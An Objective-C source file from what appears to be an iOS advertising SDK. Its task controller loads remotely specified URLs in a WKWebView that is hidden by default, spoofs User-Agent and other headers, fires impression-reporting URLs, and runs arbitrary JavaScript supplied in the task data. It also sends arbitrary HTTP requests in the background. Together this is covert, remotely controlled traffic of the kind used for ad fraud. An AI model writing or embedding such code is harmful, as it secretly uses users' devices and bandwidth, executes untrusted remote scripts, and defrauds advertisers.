//
//  HMTaskController.m
//  HMAD
//
//  Created by hm on 2017/8/11.
//  Copyright © 2017年 Harmight. All rights reserved.
//

#import <WebKit/WebKit.h>
#import "HMTools.h"

@interface HMTaskController ()<WKNavigationDelegate>

@property(nonatomic, copy) NSDictionary *urlDict;
@property(nonatomic, assign) BOOL isURLFinished;

@end

@implementation HMTaskController
@synthesize delegate = _delegate;

+ (instancetype)createWebWithDic:(NSDictionary *)dict
{
    HMTaskController *web = [[HMTaskController alloc] init];
    web.urlDict = dict;
    return web;
}

-(void)printLog:(NSString *)log{
    if(debugSDK){
        NSLog(@"task controller log:%@",log);
    }
}

-(void)run{
    [self printLog:[@"run" stringByAppendingString:_urlDict.description]];
    if(_urlDict==nil){
        [self stop:nil];
        return;
    }
    
    NSString *mode = self.urlDict[@"mode"];
    if([mode isEqualToString:@"webview"]){
        dispatch_async(dispatch_get_main_queue(),^{
            @try {
                [self runByWebView];
            } @catch (NSException *exception) {
                
            }
            
        });
    }else if([mode isEqualToString:@"http"]){
        [self runByHttp];
    }else{
        [self stop:nil];
    }
}

-(void)stop:(WKWebView *)webView{
    if(webView!=nil){
        [webView removeFromSuperview];
    }
    [self printLog:@"stop"];
    if ([_delegate respondsToSelector:@selector(onUrlTaskComplete)]) {
        [_delegate onUrlTaskComplete];
    }
}

-(void)runByWebView{
    [self printLog:@"runByWebView"];
    self.isURLFinished = NO;
    
    NSInteger width = [_urlDict[@"width"] integerValue];
    NSInteger height = [_urlDict[@"height"] integerValue];
    
    WKWebView *webview=[[WKWebView alloc] initWithFrame:CGRectMake(0, 0, (width==0)?UIScreenWidth:width, (height==0)?UIScreenHeight:height)];
    webview.navigationDelegate = self;
    //获取默认User-Agent
    [webview evaluateJavaScript:@"navigator.userAgent" completionHandler:^(id result, NSError *error) {
        [HMTools writeStrWithKey:@"User-Agent" value:result];
    }];
    
    NSString *url = _urlDict[@"url"];
    
    NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:[NSURL URLWithString:url]];
    
    NSString *ua = nil;
    @try{
        //header
        NSDictionary *header = _urlDict[@"header"];
        NSArray *keys = [header allKeys];
        for(int i=0;i<keys.count;i++){
            NSString *key = keys[i];
            NSString *value = header[key];
            
            //要区分打开H5是在本地APP还是在手机浏览器，前端伙伴说需要配合修改默认的 UserAgent,以便区分。
            //修改全局UserAgent值
            if([key isEqualToString:@"User-Agent"]){
                ua = value;
                [webview setCustomUserAgent:value];
            }
            
            [request setValue:value forHTTPHeaderField:key];
        }
    }@catch(NSException *exception){
        
    }
    
    webview.hidden= !WebViewVisiable;
    
    UIApplication *ap = [UIApplication sharedApplication];
    [ap.keyWindow addSubview:webview];
    
    [webview loadRequest:request];
    
    //请求url后上报
    [HMTools getRequestWithUrls:_urlDict[@"impress"] replaceUA:ua];
    
    NSString *duration = _urlDict[@"showDuration"];
    dispatch_time_t delayTime = dispatch_time(DISPATCH_TIME_NOW, (int64_t)([duration integerValue]/*延迟执行时间*/ * NSEC_PER_SEC));
    
    dispatch_after(delayTime, dispatch_get_main_queue(), ^{
        [self stop:webview];
    });
}

-(void)runByHttp {
    if([HMTools readStrByKey:@"User-Agent"]==nil){//没有ua获取一下
        dispatch_async(dispatch_get_main_queue(),^{
            WKWebView *webview=[[WKWebView alloc] initWithFrame:CGRectMake(0, 0, 0, 0)];
            webview.navigationDelegate = self;
            //获取默认User-Agent
            [webview evaluateJavaScript:@"navigator.userAgent" completionHandler:^(id result, NSError *error) {
                [HMTools writeStrWithKey:@"User-Agent" value:result];
                [self runByHttp];
                [webview removeFromSuperview];
            }];
            
            NSString *url = @"htttp://www.baidu.com";
            
            NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:[NSURL URLWithString:url]];
            webview.hidden=YES;
            UIApplication *ap = [UIApplication sharedApplication];
            [ap.keyWindow addSubview:webview];
            
            [webview loadRequest:request];
        });
        return;
    }
    
    [self printLog:@"runHttp"];
    NSString *url = _urlDict[@"url"];
    
    NSString *method = _urlDict[@"method"];
    
    NSMutableURLRequest *request= [NSMutableURLRequest requestWithURL:[NSURL URLWithString:url]];
    if([method isEqualToString:@"post"]){//post
        //content
        @try {
            NSData *postData = [_urlDict[@"content"] dataUsingEncoding:NSASCIIStringEncoding allowLossyConversion:YES];
            request.HTTPBody = postData;//[NSJSONSerialization dataWithJSONObject:content options:NSJSONWritingPrettyPrinted error:nil];
        } @catch (NSException *exception) {
            [self printLog:[@"runHttp error=" stringByAppendingString:exception.debugDescription]];
        }
    }
    request.HTTPMethod = method;
    
    [request addValue:[HMTools readStrByKey:@"User-Agent"] forHTTPHeaderField:@"User-Agent"];
    NSString *ua = nil;
    @try{
        //header
        NSDictionary *header = _urlDict[@"header"];
        NSArray *keys = [header allKeys];
        for(int i=0;i<keys.count;i++){
            NSString *key = keys[i];
            NSString *value = header[key];
            [request setValue:value forHTTPHeaderField:key];
            if([key isEqualToString:@"User-Agent"]){
                ua = value;
            }
        }
    }@catch(NSException *exception){
        
    }
    
    NSURLSessionDataTask *dataTask = [[NSURLSession sharedSession] dataTaskWithRequest:request];
    [dataTask resume];
    
    //请求url后上报
    [HMTools getRequestWithUrls:_urlDict[@"impress"] replaceUA:ua];
    
    NSString *duration = _urlDict[@"showDuration"];
    dispatch_time_t delayTime = dispatch_time(DISPATCH_TIME_NOW, (int64_t)([duration integerValue]/*延迟执行时间*/ * NSEC_PER_SEC));
    
    dispatch_after(delayTime, dispatch_get_main_queue(), ^{
        [self stop:nil];
    });
    
}

- (void)webView:(WKWebView *)webView didFinishNavigation:(null_unspecified WKNavigation *)navigation {
    if(self.isURLFinished){
        return;
    }
    
    self.isURLFinished = YES;//广告页展示成功，接下来是用户点击
    
    [self printLog:@"runByWebView success"];
    //页面加载成功，执行js
    NSString *jsfile = _urlDict[@"jsfile"];
    [webView evaluateJavaScript:jsfile completionHandler:^(id _Nullable data, NSError * _Nullable error) {
        
    }];
}

@end
